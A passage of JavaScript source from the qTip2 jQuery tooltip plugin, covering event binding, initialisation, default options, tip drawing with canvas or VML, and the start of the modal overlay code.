hideTargets = hideTargets.not(similarTargets); } } // Apply show/hide/toggle events this._bind(showTargets, showEvents, showMethod); this._bind(hideTargets, hideEvents, hideMethod); }; PROTOTYPE._assignInitialEvents = function(event) { var options = this.options, showTarget = options.show.target, hideTarget = options.hide.target, showEvents = options.show.event ? $.trim('' + options.show.event).split(' ') : [], hideEvents = options.hide.event ? $.trim('' + options.hide.event).split(' ') : []; // Catch remove/removeqtip events on target element to destroy redundant tooltips this._bind(this.elements.target, ['remove', 'removeqtip'], function(event) { this.destroy(true); }, 'destroy'); /* * Make sure hoverIntent functions properly by using mouseleave as a hide event if * mouseenter/mouseout is used for show.event, even if it isn't in the users options. */ if(/mouse(over|enter)/i.test(options.show.event) && !/mouse(out|leave)/i.test(options.hide.event)) { hideEvents.push('mouseleave'); } /* * Also make sure initial mouse targetting works correctly by caching mousemove coords * on show targets before the tooltip has rendered. Also set onTarget when triggered to * keep mouse tracking working. */ this._bind(showTarget, 'mousemove', function(event) { this._storeMouse(event); this.cache.onTarget = TRUE; }); // Define hoverIntent function function hoverIntent(event) { // Only continue if tooltip isn't disabled if(this.disabled || this.destroyed) { return FALSE; } // Cache the event data this.cache.event = event && $.event.fix(event); this.cache.target = event && $(event.target); // Start the event sequence clearTimeout(this.timers.show); this.timers.show = delay.call(this, function() { this.render(typeof event === 'object' || options.show.ready); }, options.prerender ? 0 : options.show.delay ); } // Filter and bind events this._bindEvents(showEvents, hideEvents, showTarget, hideTarget, hoverIntent, function() { if(!this.timers) { return FALSE; } clearTimeout(this.timers.show); }); // Prerendering is enabled, create tooltip now if(options.show.ready || options.prerender) { hoverIntent.call(this, event); } }; // Event assignment method PROTOTYPE._assignEvents = function() { var self = this, options = this.options, posOptions = options.position, tooltip = this.tooltip, showTarget = options.show.target, hideTarget = options.hide.target, containerTarget = posOptions.container, viewportTarget = posOptions.viewport, documentTarget = $(document), bodyTarget = $(document.body), windowTarget = $(window), showEvents = options.show.event ? $.trim('' + options.show.event).split(' ') : [], hideEvents = options.hide.event ? $.trim('' + options.hide.event).split(' ') : []; // Assign passed event callbacks $.each(options.events, function(name, callback) { self._bind(tooltip, name === 'toggle' ? ['tooltipshow','tooltiphide'] : ['tooltip'+name], callback, null, tooltip); }); // Hide tooltips when leaving current window/frame (but not select/option elements) if(/mouse(out|leave)/i.test(options.hide.event) && options.hide.leave === 'window') { this._bind(documentTarget, ['mouseout', 'blur'], function(event) { if(!/select|option/.test(event.target.nodeName) && !event.relatedTarget) { this.hide(event); } }); } // Enable hide.fixed by adding appropriate class if(options.hide.fixed) { hideTarget = hideTarget.add( tooltip.addClass(CLASS_FIXED) ); } /* * Make sure hoverIntent functions properly by using mouseleave to clear show timer if * mouseenter/mouseout is used for show.event, even if it isn't in the users options. */ else if(/mouse(over|enter)/i.test(options.show.event)) { this._bind(hideTarget, 'mouseleave', function() { clearTimeout(this.timers.show); }); } // Hide tooltip on document mousedown if unfocus events are enabled if(('' + options.hide.event).indexOf('unfocus') > -1) { this._bind(containerTarget.closest('html'), ['mousedown', 'touchstart'], function(event) { var elem = $(event.target), enabled = this.rendered && !this.tooltip.hasClass(CLASS_DISABLED) && this.tooltip[0].offsetWidth > 0, isAncestor = elem.parents(SELECTOR).filter(this.tooltip[0]).length > 0; if(elem[0] !== this.target[0] && elem[0] !== this.tooltip[0] && !isAncestor && !this.target.has(elem[0]).length && enabled ) { this.hide(event); } }); } // Check if the tooltip hides when inactive if('number' === typeof options.hide.inactive) { // Bind inactive method to show target(s) as a custom event this._bind(showTarget, 'qtip-'+this.id+'-inactive', inactiveMethod, 'inactive'); // Define events which reset the 'inactive' event handler this._bind(hideTarget.add(tooltip), QTIP.inactiveEvents, inactiveMethod); } // Filter and bind events this._bindEvents(showEvents, hideEvents, showTarget, hideTarget, showMethod, hideMethod); // Mouse movement bindings this._bind(showTarget.add(tooltip), 'mousemove', function(event) { // Check if the tooltip hides when mouse is moved a certain distance if('number' === typeof options.hide.distance) { var origin = this.cache.origin || {}, limit = this.options.hide.distance, abs = Math.abs; // Check if the movement has gone beyond the limit, and hide it if so if(abs(event.pageX - origin.pageX) >= limit || abs(event.pageY - origin.pageY) >= limit) { this.hide(event); } } // Cache mousemove coords on show targets this._storeMouse(event); }); // Mouse positioning events if(posOptions.target === 'mouse') { // If mouse adjustment is on... if(posOptions.adjust.mouse) { // Apply a mouseleave event so we don't get problems with overlapping if(options.hide.event) { // Track if we're on the target or not this._bind(showTarget, ['mouseenter', 'mouseleave'], function(event) { if(!this.cache) {return FALSE; } this.cache.onTarget = event.type === 'mouseenter'; }); } // Update tooltip position on mousemove this._bind(documentTarget, 'mousemove', function(event) { // Update the tooltip position only if the tooltip is visible and adjustment is enabled if(this.rendered && this.cache.onTarget && !this.tooltip.hasClass(CLASS_DISABLED) && this.tooltip[0].offsetWidth > 0) { this.reposition(event); } }); } } // Adjust positions of the tooltip on window resize if enabled if(posOptions.adjust.resize || viewportTarget.length) { this._bind( $.event.special.resize ? viewportTarget : windowTarget, 'resize', repositionMethod ); } // Adjust tooltip position on scroll of the window or viewport element if present if(posOptions.adjust.scroll) { this._bind( windowTarget.add(posOptions.container), 'scroll', repositionMethod ); } }; // Un-assignment method PROTOTYPE._unassignEvents = function() { var options = this.options, showTargets = options.show.target, hideTargets = options.hide.target, targets = $.grep([ this.elements.target[0], this.rendered && this.tooltip[0], options.position.container[0], options.position.viewport[0], options.position.container.closest('html')[0], // unfocus window, document ], function(i) { return typeof i === 'object'; }); // Add show and hide targets if they're valid if(showTargets && showTargets.toArray) { targets = targets.concat(showTargets.toArray()); } if(hideTargets && hideTargets.toArray) { targets = targets.concat(hideTargets.toArray()); } // Unbind the events this._unbind(targets) ._unbind(targets, 'destroy') ._unbind(targets, 'inactive'); }; // Apply common event handlers using delegate (avoids excessive .bind calls!) $(function() { delegate(SELECTOR, ['mouseenter', 'mouseleave'], function(event) { var state = event.type === 'mouseenter', tooltip = $(event.currentTarget), target = $(event.relatedTarget || event.target), options = this.options; // On mouseenter... if(state) { // Focus the tooltip on mouseenter (z-index stacking) this.focus(event); // Clear hide timer on tooltip hover to prevent it from closing tooltip.hasClass(CLASS_FIXED) && !tooltip.hasClass(CLASS_DISABLED) && clearTimeout(this.timers.hide); } // On mouseleave... else { // When mouse tracking is enabled, hide when we leave the tooltip and not onto the show target (if a hide event is set) if(options.position.target === 'mouse' && options.position.adjust.mouse && options.hide.event && options.show.target && !target.closest(options.show.target[0]).length) { this.hide(event); } } // Add hover class tooltip.toggleClass(CLASS_HOVER, state); }); // Define events which reset the 'inactive' event handler delegate('['+ATTR_ID+']', INACTIVE_EVENTS, inactiveMethod); }); ;// Initialization method function init(elem, id, opts) { var obj, posOptions, attr, config, title, // Setup element references docBody = $(document.body), // Use document body instead of document element if needed newTarget = elem[0] === document ? docBody : elem, // Grab metadata from element if plugin is present metadata = (elem.metadata) ? elem.metadata(opts.metadata) : NULL, // If metadata type if HTML5, grab 'name' from the object instead, or use the regular data object otherwise metadata5 = opts.metadata.type === 'html5' && metadata ? metadata[opts.metadata.name] : NULL, // Grab data from metadata.name (or data-qtipopts as fallback) using .data() method, html5 = elem.data(opts.metadata.name || 'qtipopts'); // If we don't get an object returned attempt to parse it manualyl without parseJSON try { html5 = typeof html5 === 'string' ? JSON.parse(html5) : html5; } catch(e) {} // Merge in and sanitize metadata config = $.extend(TRUE, {}, QTIP.defaults, opts, typeof html5 === 'object' ? sanitizeOptions(html5) : NULL, sanitizeOptions(metadata5 || metadata)); // Re-grab our positioning options now we've merged our metadata and set id to passed value posOptions = config.position; config.id = id; // Setup missing content if none is detected if('boolean' === typeof config.content.text) { attr = elem.attr(config.content.attr); // Grab from supplied attribute if available if(config.content.attr !== FALSE && attr) { config.content.text = attr; } // No valid content was found, abort render else { return FALSE; } } // Setup target options if(!posOptions.container.length) { posOptions.container = docBody; } if(posOptions.target === FALSE) { posOptions.target = newTarget; } if(config.show.target === FALSE) { config.show.target = newTarget; } if(config.show.solo === TRUE) { config.show.solo = posOptions.container.closest('body'); } if(config.hide.target === FALSE) { config.hide.target = newTarget; } if(config.position.viewport === TRUE) { config.position.viewport = posOptions.container; } // Ensure we only use a single container posOptions.container = posOptions.container.eq(0); // Convert position corner values into x and y strings posOptions.at = new CORNER(posOptions.at, TRUE); posOptions.my = new CORNER(posOptions.my); // Destroy previous tooltip if overwrite is enabled, or skip element if not if(elem.data(NAMESPACE)) { if(config.overwrite) { elem.qtip('destroy', true); } else if(config.overwrite === FALSE) { return FALSE; } } // Add has-qtip attribute elem.attr(ATTR_HAS, id); // Remove title attribute and store it if present if(config.suppress && (title = elem.attr('title'))) { // Final attr call fixes event delegatiom and IE default tooltip showing problem elem.removeAttr('title').attr(oldtitle, title).attr('title', ''); } // Initialize the tooltip and add API reference obj = new QTip(elem, config, id, !!attr); elem.data(NAMESPACE, obj); return obj; } // jQuery $.fn extension method QTIP = $.fn.qtip = function(options, notation, newValue) { var command = ('' + options).toLowerCase(), // Parse command returned = NULL, args = $.makeArray(arguments).slice(1), event = args[args.length - 1], opts = this[0] ? $.data(this[0], NAMESPACE) : NULL; // Check for API request if((!arguments.length && opts) || command === 'api') { return opts; } // Execute API command if present else if('string' === typeof options) { this.each(function() { var api = $.data(this, NAMESPACE); if(!api) { return TRUE; } // Cache the event if possible if(event && event.timeStamp) { api.cache.event = event; } // Check for specific API commands if(notation && (command === 'option' || command === 'options')) { if(newValue !== undefined || $.isPlainObject(notation)) { api.set(notation, newValue); } else { returned = api.get(notation); return FALSE; } } // Execute API command else if(api[command]) { api[command].apply(api, args); } }); return returned !== NULL ? returned : this; } // No API commands. validate provided options and setup qTips else if('object' === typeof options || !arguments.length) { // Sanitize options first opts = sanitizeOptions($.extend(TRUE, {}, options)); return this.each(function(i) { var api, id; // Find next available ID, or use custom ID if provided id = Array.isArray(opts.id) ? opts.id[i] : opts.id; id = !id || id === FALSE || id.length < 1 || QTIP.api[id] ? QTIP.nextid++ : id; // Initialize the qTip and re-grab newly sanitized options api = init($(this), id, opts); if(api === FALSE) { return TRUE; } else { QTIP.api[id] = api; } // Initialize plugins $.each(PLUGINS, function() { if(this.initialize === 'initialize') { this(api); } }); // Assign initial pre-render events api._assignInitialEvents(event); }); } }; // Expose class $.qtip = QTip; // Populated in render method QTIP.api = {}; ;$.each({ /* Allow other plugins to successfully retrieve the title of an element with a qTip applied */ attr: function(attr, val) { if(this.length) { var self = this[0], title = 'title', api = $.data(self, 'qtip'); if(attr === title && api && 'object' === typeof api && api.options.suppress) { if(arguments.length < 2) { return $.attr(self, oldtitle); } // If qTip is rendered and title was originally used as content, update it if(api && api.options.content.attr === title && api.cache.attr) { api.set('content.text', val); } // Use the regular attr method to set, then cache the result return this.attr(oldtitle, val); } } return $.fn['attr'+replaceSuffix].apply(this, arguments); }, /* Allow clone to correctly retrieve cached title attributes */ clone: function(keepData) { var titles = $([]), title = 'title', // Clone our element using the real clone method elems = $.fn['clone'+replaceSuffix].apply(this, arguments); // Grab all elements with an oldtitle set, and change it to regular title attribute, if keepData is false if(!keepData) { elems.filter('['+oldtitle+']').attr('title', function() { return $.attr(this, oldtitle); }) .removeAttr(oldtitle); } return elems; } }, function(name, func) { if(!func || $.fn[name+replaceSuffix]) { return TRUE; } var old = $.fn[name+replaceSuffix] = $.fn[name]; $.fn[name] = function() { return func.apply(this, arguments) || old.apply(this, arguments); }; }); /* Fire off 'removeqtip' handler in $.cleanData if jQuery UI not present (it already does similar). * This snippet is taken directly from jQuery UI source code found here: * http://code.jquery.com/ui/jquery-ui-git.js */ if(!$.ui) { $['cleanData'+replaceSuffix] = $.cleanData; $.cleanData = function( elems ) { for(var i = 0, elem; (elem = $( elems[i] )).length; i++) { if(elem.attr(ATTR_HAS)) { try { elem.triggerHandler('removeqtip'); } catch( e ) {} } } $['cleanData'+replaceSuffix].apply(this, arguments); }; } ;// qTip version QTIP.version = '2.2.1'; // Base ID for all qTips QTIP.nextid = 0; // Inactive events array QTIP.inactiveEvents = INACTIVE_EVENTS; // Base z-index for all qTips QTIP.zindex = 15000; // Define configuration defaults QTIP.defaults = { prerender: FALSE, id: FALSE, overwrite: TRUE, suppress: TRUE, content: { text: TRUE, attr: 'title', title: FALSE, button: FALSE }, position: { my: 'top left', at: 'bottom right', target: FALSE, container: FALSE, viewport: FALSE, adjust: { x: 0, y: 0, mouse: TRUE, scroll: TRUE, resize: TRUE, method: 'flipinvert flipinvert' }, effect: function(api, pos, viewport) { $(this).animate(pos, { duration: 200, queue: FALSE }); } }, show: { target: FALSE, event: 'mouseenter', effect: TRUE, delay: 90, solo: FALSE, ready: FALSE, autofocus: FALSE }, hide: { target: FALSE, event: 'mouseleave', effect: TRUE, delay: 0, fixed: FALSE, inactive: FALSE, leave: 'window', distance: FALSE }, style: { classes: '', widget: FALSE, width: FALSE, height: FALSE, def: TRUE }, events: { render: NULL, move: NULL, show: NULL, hide: NULL, toggle: NULL, visible: NULL, hidden: NULL, focus: NULL, blur: NULL } }; ;var TIP, // .bind()/.on() namespace TIPNS = '.qtip-tip', // Common CSS strings MARGIN = 'margin', BORDER = 'border', COLOR = 'color', BG_COLOR = 'background-color', TRANSPARENT = 'transparent', IMPORTANT = ' !important', // Check if the browser supports elements HASCANVAS = !!document.createElement('canvas').getContext, // Invalid colour values used in parseColours() INVALID = /rgba?\(0, 0, 0(, 0)?\)|transparent|#123456/i; // Camel-case method, taken from jQuery source // http://code.jquery.com/jquery-1.8.0.js function camel(s) { return s.charAt(0).toUpperCase() + s.slice(1); } /* * Modified from Modernizr's testPropsAll() * http://modernizr.com/downloads/modernizr-latest.js */ var cssProps = {}, cssPrefixes = ["Webkit", "O", "Moz", "ms"]; function vendorCss(elem, prop) { var ucProp = prop.charAt(0).toUpperCase() + prop.slice(1), props = (prop + ' ' + cssPrefixes.join(ucProp + ' ') + ucProp).split(' '), cur, val, i = 0; // If the property has already been mapped... if(cssProps[prop]) { return elem.css(cssProps[prop]); } while((cur = props[i++])) { if((val = elem.css(cur)) !== undefined) { return cssProps[prop] = cur, val; } } } // Parse a given elements CSS property into an int function intCss(elem, prop) { return Math.ceil(parseFloat(vendorCss(elem, prop))); } // VML creation (for IE only) if(!HASCANVAS) { var createVML = function(tag, props, style) { return ''; }; } // Canvas only definitions else { var PIXEL_RATIO = window.devicePixelRatio || 1, BACKING_STORE_RATIO = (function() { var context = document.createElement('canvas').getContext('2d'); return context.backingStorePixelRatio || context.webkitBackingStorePixelRatio || context.mozBackingStorePixelRatio || context.msBackingStorePixelRatio || context.oBackingStorePixelRatio || 1; }()), SCALE = PIXEL_RATIO / BACKING_STORE_RATIO; } function Tip(qtip, options) { this._ns = 'tip'; this.options = options; this.offset = options.offset; this.size = [ options.width, options.height ]; // Initialize this.init( (this.qtip = qtip) ); } $.extend(Tip.prototype, { init: function(qtip) { var context, tip; // Create tip element and prepend to the tooltip tip = this.element = qtip.elements.tip = $('
    ', { 'class': NAMESPACE+'-tip' }).prependTo(qtip.tooltip); // Create tip drawing element(s) if(HASCANVAS) { // save() as soon as we create the canvas element so FF2 doesn't bork on our first restore()! context = $('').appendTo(this.element)[0].getContext('2d'); // Setup constant parameters context.lineJoin = 'miter'; context.miterLimit = 100000; context.save(); } else { context = createVML('shape', 'coordorigin="0,0"', 'position:absolute;'); this.element.html(context + context); // Prevent mousing down on the tip since it causes problems with .live() handling in IE due to VML qtip._bind( $('*', tip).add(tip), ['click', 'mousedown'], function(event) { event.stopPropagation(); }, this._ns); } // Bind update events qtip._bind(qtip.tooltip, 'tooltipmove', this.reposition, this._ns, this); // Create it this.create(); }, _swapDimensions: function() { this.size[0] = this.options.height; this.size[1] = this.options.width; }, _resetDimensions: function() { this.size[0] = this.options.width; this.size[1] = this.options.height; }, _useTitle: function(corner) { var titlebar = this.qtip.elements.titlebar; return titlebar && ( corner.y === TOP || (corner.y === CENTER && this.element.position().top + (this.size[1] / 2) + this.options.offset < titlebar.outerHeight(TRUE)) ); }, _parseCorner: function(corner) { var my = this.qtip.options.position.my; // Detect corner and mimic properties if(corner === FALSE || my === FALSE) { corner = FALSE; } else if(corner === TRUE) { corner = new CORNER( my.string() ); } else if(!corner.string) { corner = new CORNER(corner); corner.fixed = TRUE; } return corner; }, _parseWidth: function(corner, side, use) { var elements = this.qtip.elements, prop = BORDER + camel(side) + 'Width'; return (use ? intCss(use, prop) : ( intCss(elements.content, prop) || intCss(this._useTitle(corner) && elements.titlebar || elements.content, prop) || intCss(elements.tooltip, prop) )) || 0; }, _parseRadius: function(corner) { var elements = this.qtip.elements, prop = BORDER + camel(corner.y) + camel(corner.x) + 'Radius'; return BROWSER.ie < 9 ? 0 : intCss(this._useTitle(corner) && elements.titlebar || elements.content, prop) || intCss(elements.tooltip, prop) || 0; }, _invalidColour: function(elem, prop, compare) { var val = elem.css(prop); return !val || (compare && val === elem.css(compare)) || INVALID.test(val) ? FALSE : val; }, _parseColours: function(corner) { var elements = this.qtip.elements, tip = this.element.css('cssText', ''), borderSide = BORDER + camel(corner[ corner.precedance ]) + camel(COLOR), colorElem = this._useTitle(corner) && elements.titlebar || elements.content, css = this._invalidColour, color = []; // Attempt to detect the background colour from various elements, left-to-right precedance color[0] = css(tip, BG_COLOR) || css(colorElem, BG_COLOR) || css(elements.content, BG_COLOR) || css(elements.tooltip, BG_COLOR) || tip.css(BG_COLOR); // Attempt to detect the correct border side colour from various elements, left-to-right precedance color[1] = css(tip, borderSide, COLOR) || css(colorElem, borderSide, COLOR) || css(elements.content, borderSide, COLOR) || css(elements.tooltip, borderSide, COLOR) || elements.tooltip.css(borderSide); // Reset background and border colours $('*', tip).add(tip).css('cssText', BG_COLOR+':'+TRANSPARENT+IMPORTANT+';'+BORDER+':0'+IMPORTANT+';'); return color; }, _calculateSize: function(corner) { var y = corner.precedance === Y, width = this.options['width'], height = this.options['height'], isCenter = corner.abbrev() === 'c', base = (y ? width: height) * (isCenter ? 0.5 : 1), pow = Math.pow, round = Math.round, bigHyp, ratio, result, smallHyp = Math.sqrt( pow(base, 2) + pow(height, 2) ), hyp = [ (this.border / base) * smallHyp, (this.border / height) * smallHyp ]; hyp[2] = Math.sqrt( pow(hyp[0], 2) - pow(this.border, 2) ); hyp[3] = Math.sqrt( pow(hyp[1], 2) - pow(this.border, 2) ); bigHyp = smallHyp + hyp[2] + hyp[3] + (isCenter ? 0 : hyp[0]); ratio = bigHyp / smallHyp; result = [ round(ratio * width), round(ratio * height) ]; return y ? result : result.reverse(); }, // Tip coordinates calculator _calculateTip: function(corner, size, scale) { scale = scale || 1; size = size || this.size; var width = size[0] * scale, height = size[1] * scale, width2 = Math.ceil(width / 2), height2 = Math.ceil(height / 2), // Define tip coordinates in terms of height and width values tips = { br: [0,0, width,height, width,0], bl: [0,0, width,0, 0,height], tr: [0,height, width,0, width,height], tl: [0,0, 0,height, width,height], tc: [0,height, width2,0, width,height], bc: [0,0, width,0, width2,height], rc: [0,0, width,height2, 0,height], lc: [width,0, width,height, 0,height2] }; // Set common side shapes tips.lt = tips.br; tips.rt = tips.bl; tips.lb = tips.tr; tips.rb = tips.tl; return tips[ corner.abbrev() ]; }, // Tip coordinates drawer (canvas) _drawCoords: function(context, coords) { context.beginPath(); context.moveTo(coords[0], coords[1]); context.lineTo(coords[2], coords[3]); context.lineTo(coords[4], coords[5]); context.closePath(); }, create: function() { // Determine tip corner var c = this.corner = (HASCANVAS || BROWSER.ie) && this._parseCorner(this.options.corner); // If we have a tip corner... if( (this.enabled = !!this.corner && this.corner.abbrev() !== 'c') ) { // Cache it this.qtip.cache.corner = c.clone(); // Create it this.update(); } // Toggle tip element this.element.toggle(this.enabled); return this.corner; }, update: function(corner, position) { if(!this.enabled) { return this; } var elements = this.qtip.elements, tip = this.element, inner = tip.children(), options = this.options, curSize = this.size, mimic = options.mimic, round = Math.round, color, precedance, context, coords, bigCoords, translate, newSize, border, BACKING_STORE_RATIO; // Re-determine tip if not already set if(!corner) { corner = this.qtip.cache.corner || this.corner; } // Use corner property if we detect an invalid mimic value if(mimic === FALSE) { mimic = corner; } // Otherwise inherit mimic properties from the corner object as necessary else { mimic = new CORNER(mimic); mimic.precedance = corner.precedance; if(mimic.x === 'inherit') { mimic.x = corner.x; } else if(mimic.y === 'inherit') { mimic.y = corner.y; } else if(mimic.x === mimic.y) { mimic[ corner.precedance ] = corner[ corner.precedance ]; } } precedance = mimic.precedance; // Ensure the tip width.height are relative to the tip position if(corner.precedance === X) { this._swapDimensions(); } else { this._resetDimensions(); } // Update our colours color = this.color = this._parseColours(corner); // Detect border width, taking into account colours if(color[1] !== TRANSPARENT) { // Grab border width border = this.border = this._parseWidth(corner, corner[corner.precedance]); // If border width isn't zero, use border color as fill if it's not invalid (1.0 style tips) if(options.border && border < 1 && !INVALID.test(color[1])) { color[0] = color[1]; } // Set border width (use detected border width if options.border is true) this.border = border = options.border !== TRUE ? options.border : border; } // Border colour was invalid, set border to zero else { this.border = border = 0; } // Determine tip size newSize = this.size = this._calculateSize(corner); tip.css({ width: newSize[0], height: newSize[1], lineHeight: newSize[1]+'px' }); // Calculate tip translation if(corner.precedance === Y) { translate = [ round(mimic.x === LEFT ? border : mimic.x === RIGHT ? newSize[0] - curSize[0] - border : (newSize[0] - curSize[0]) / 2), round(mimic.y === TOP ? newSize[1] - curSize[1] : 0) ]; } else { translate = [ round(mimic.x === LEFT ? newSize[0] - curSize[0] : 0), round(mimic.y === TOP ? border : mimic.y === BOTTOM ? newSize[1] - curSize[1] - border : (newSize[1] - curSize[1]) / 2) ]; } // Canvas drawing implementation if(HASCANVAS) { // Grab canvas context and clear/save it context = inner[0].getContext('2d'); context.restore(); context.save(); context.clearRect(0,0,6000,6000); // Calculate coordinates coords = this._calculateTip(mimic, curSize, SCALE); bigCoords = this._calculateTip(mimic, this.size, SCALE); // Set the canvas size using calculated size inner.attr(WIDTH, newSize[0] * SCALE).attr(HEIGHT, newSize[1] * SCALE); inner.css(WIDTH, newSize[0]).css(HEIGHT, newSize[1]); // Draw the outer-stroke tip this._drawCoords(context, bigCoords); context.fillStyle = color[1]; context.fill(); // Draw the actual tip context.translate(translate[0] * SCALE, translate[1] * SCALE); this._drawCoords(context, coords); context.fillStyle = color[0]; context.fill(); } // VML (IE Proprietary implementation) else { // Calculate coordinates coords = this._calculateTip(mimic); // Setup coordinates string coords = 'm' + coords[0] + ',' + coords[1] + ' l' + coords[2] + ',' + coords[3] + ' ' + coords[4] + ',' + coords[5] + ' xe'; // Setup VML-specific offset for pixel-perfection translate[2] = border && /^(r|b)/i.test(corner.string()) ? BROWSER.ie === 8 ? 2 : 1 : 0; // Set initial CSS inner.css({ coordsize: (newSize[0]+border) + ' ' + (newSize[1]+border), antialias: ''+(mimic.string().indexOf(CENTER) > -1), left: translate[0] - (translate[2] * Number(precedance === X)), top: translate[1] - (translate[2] * Number(precedance === Y)), width: newSize[0] + border, height: newSize[1] + border }) .each(function(i) { var $this = $(this); // Set shape specific attributes $this[ $this.prop ? 'prop' : 'attr' ]({ coordsize: (newSize[0]+border) + ' ' + (newSize[1]+border), path: coords, fillcolor: color[0], filled: !!i, stroked: !i }) .toggle(!!(border || i)); // Check if border is enabled and add stroke element !i && $this.html( createVML( 'stroke', 'weight="'+(border*2)+'px" color="'+color[1]+'" miterlimit="1000" joinstyle="miter"' ) ); }); } // Opera bug #357 - Incorrect tip position // https://github.com/Craga89/qTip2/issues/367 window.opera && setTimeout(function() { elements.tip.css({ display: 'inline-block', visibility: 'visible' }); }, 1); // Position if needed if(position !== FALSE) { this.calculate(corner, newSize); } }, calculate: function(corner, size) { if(!this.enabled) { return FALSE; } var self = this, elements = this.qtip.elements, tip = this.element, userOffset = this.options.offset, isWidget = elements.tooltip.hasClass('ui-widget'), position = { }, precedance, corners; // Inherit corner if not provided corner = corner || this.corner; precedance = corner.precedance; // Determine which tip dimension to use for adjustment size = size || this._calculateSize(corner); // Setup corners and offset array corners = [ corner.x, corner.y ]; if(precedance === X) { corners.reverse(); } // Calculate tip position $.each(corners, function(i, side) { var b, bc, br; if(side === CENTER) { b = precedance === Y ? LEFT : TOP; position[ b ] = '50%'; position[MARGIN+'-' + b] = -Math.round(size[ precedance === Y ? 0 : 1 ] / 2) + userOffset; } else { b = self._parseWidth(corner, side, elements.tooltip); bc = self._parseWidth(corner, side, elements.content); br = self._parseRadius(corner); position[ side ] = Math.max(-self.border, i ? bc : (userOffset + (br > b ? br : -b))); } }); // Adjust for tip size position[ corner[precedance] ] -= size[ precedance === X ? 0 : 1 ]; // Set and return new position tip.css({ margin: '', top: '', bottom: '', left: '', right: '' }).css(position); return position; }, reposition: function(event, api, pos, viewport) { if(!this.enabled) { return; } var cache = api.cache, newCorner = this.corner.clone(), adjust = pos.adjusted, method = api.options.position.adjust.method.split(' '), horizontal = method[0], vertical = method[1] || method[0], shift = { left: FALSE, top: FALSE, x: 0, y: 0 }, offset, css = {}, props; function shiftflip(direction, precedance, popposite, side, opposite) { // Horizontal - Shift or flip method if(direction === SHIFT && newCorner.precedance === precedance && adjust[side] && newCorner[popposite] !== CENTER) { newCorner.precedance = newCorner.precedance === X ? Y : X; } else if(direction !== SHIFT && adjust[side]){ newCorner[precedance] = newCorner[precedance] === CENTER ? (adjust[side] > 0 ? side : opposite) : (newCorner[precedance] === side ? opposite : side); } } function shiftonly(xy, side, opposite) { if(newCorner[xy] === CENTER) { css[MARGIN+'-'+side] = shift[xy] = offset[MARGIN+'-'+side] - adjust[side]; } else { props = offset[opposite] !== undefined ? [ adjust[side], -offset[side] ] : [ -adjust[side], offset[side] ]; if( (shift[xy] = Math.max(props[0], props[1])) > props[0] ) { pos[side] -= adjust[side]; shift[side] = FALSE; } css[ offset[opposite] !== undefined ? opposite : side ] = shift[xy]; } } // If our tip position isn't fixed e.g. doesn't adjust with viewport... if(this.corner.fixed !== TRUE) { // Perform shift/flip adjustments shiftflip(horizontal, X, Y, LEFT, RIGHT); shiftflip(vertical, Y, X, TOP, BOTTOM); // Update and redraw the tip if needed (check cached details of last drawn tip) if(newCorner.string() !== cache.corner.string() || cache.cornerTop !== adjust.top || cache.cornerLeft !== adjust.left) { this.update(newCorner, FALSE); } } // Setup tip offset properties offset = this.calculate(newCorner); // Readjust offset object to make it left/top if(offset.right !== undefined) { offset.left = -offset.right; } if(offset.bottom !== undefined) { offset.top = -offset.bottom; } offset.user = this.offset; // Perform shift adjustments if(shift.left = (horizontal === SHIFT && !!adjust.left)) { shiftonly(X, LEFT, RIGHT); } if(shift.top = (vertical === SHIFT && !!adjust.top)) { shiftonly(Y, TOP, BOTTOM); } /* * If the tip is adjusted in both dimensions, or in a * direction that would cause it to be anywhere but the * outer border, hide it! */ this.element.css(css).toggle( !((shift.x && shift.y) || (newCorner.x === CENTER && shift.y) || (newCorner.y === CENTER && shift.x)) ); // Adjust position to accomodate tip dimensions pos.left -= offset.left.charAt ? offset.user : horizontal !== SHIFT || shift.top || !shift.left && !shift.top ? offset.left + this.border : 0; pos.top -= offset.top.charAt ? offset.user : vertical !== SHIFT || shift.left || !shift.left && !shift.top ? offset.top + this.border : 0; // Cache details cache.cornerLeft = adjust.left; cache.cornerTop = adjust.top; cache.corner = newCorner.clone(); }, destroy: function() { // Unbind events this.qtip._unbind(this.qtip.tooltip, this._ns); // Remove the tip element(s) if(this.qtip.elements.tip) { this.qtip.elements.tip.find('*') .remove().end().remove(); } } }); TIP = PLUGINS.tip = function(api) { return new Tip(api, api.options.style.tip); }; // Initialize tip on render TIP.initialize = 'render'; // Setup plugin sanitization options TIP.sanitize = function(options) { if(options.style && 'tip' in options.style) { var opts = options.style.tip; if(typeof opts !== 'object') { opts = options.style.tip = { corner: opts }; } if(!(/string|boolean/i).test(typeof opts.corner)) { opts.corner = TRUE; } } }; // Add new option checks for the plugin CHECKS.tip = { '^position.my|style.tip.(corner|mimic|border)$': function() { // Make sure a tip can be drawn this.create(); // Reposition the tooltip this.qtip.reposition(); }, '^style.tip.(height|width)$': function(obj) { // Re-set dimensions and redraw the tip this.size = [ obj.width, obj.height ]; this.update(); // Reposition the tooltip this.qtip.reposition(); }, '^content.title|style.(classes|widget)$': function() { this.update(); } }; // Extend original qTip defaults $.extend(TRUE, QTIP.defaults, { style: { tip: { corner: TRUE, mimic: FALSE, width: 6, height: 6, border: TRUE, offset: 0 } } }); ;var MODAL, OVERLAY, MODALCLASS = 'qtip-modal', MODALSELECTOR = '.'+MODALCLASS; OVERLAY = function() { var self = this, focusableElems = {}, current, onLast, prevState, elem; // Modified code from jQuery UI 1.10.0 source // http://code.jquery.com/ui/1.10.0/jquery-ui.js function focusable(element) { // Use the defined focusable checker when possible if($.expr[':'].focusable) { return $.expr[':'].focusable; } var isTabIndexNotNaN = !isNaN($.attr(element, 'tabindex')), nodeName = element.nodeName && element.nodeName.toLowerCase(), map, mapName, img; if('area' === nodeName) { map = element.parentNode; mapName = map.name; if(!element.href || !mapName || map.nodeName.toLowerCase() !== 'map') { return false; } img = $('img[usemap=#' + mapName + ']')[0]; return !!img && img.is(':visible'); } return (/input|select|textarea|button|object/.test( nodeName ) ? !element.disabled : 'a' === nodeName ? element.href || isTabIndexNotNaN : isTabIndexNotNaN ); } // Focus inputs using cached focusable elements (see update()) function focusInputs(blurElems) { // Blurring body element in IE causes window.open windows to unfocus! if(focusableElems.length < 1 && blurElems.length) { blurElems.not('body').blur(); } // Focus the inputs else { focusableElems.first().focus(); } } // Steal focus from elements outside tooltip function stealFocus(event) { if(!elem.is(':visible')) { return; } var target = $(event.target), tooltip = current.tooltip, container = target.closest(SELECTOR), targetOnTop; // Determine if input container target is above this targetOnTop = container.length < 1 ? FALSE : (parseInt(container[0].style.zIndex, 10) > parseInt(tooltip[0].style.zIndex, 10)); // If we're showing a modal, 